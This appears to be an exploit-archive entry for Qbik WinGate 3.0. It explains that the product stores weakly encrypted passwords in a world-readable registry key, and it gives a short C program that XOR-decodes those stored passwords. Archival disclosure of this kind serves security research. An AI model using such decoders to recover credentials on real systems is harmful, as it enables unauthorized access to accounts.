Qbik WinGate 3.0 - Registry

Author: Chris
type: local
platform: windows
port: 
date_added: 1999-02-22  
date_updated: 2012-06-27  
verified: 1  
codes: OSVDB-83379  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 19412.c  

// source: https://www.securityfocus.com/bid/511/info

WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

main(int argc, char *argv[]) {
char i;

for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;

}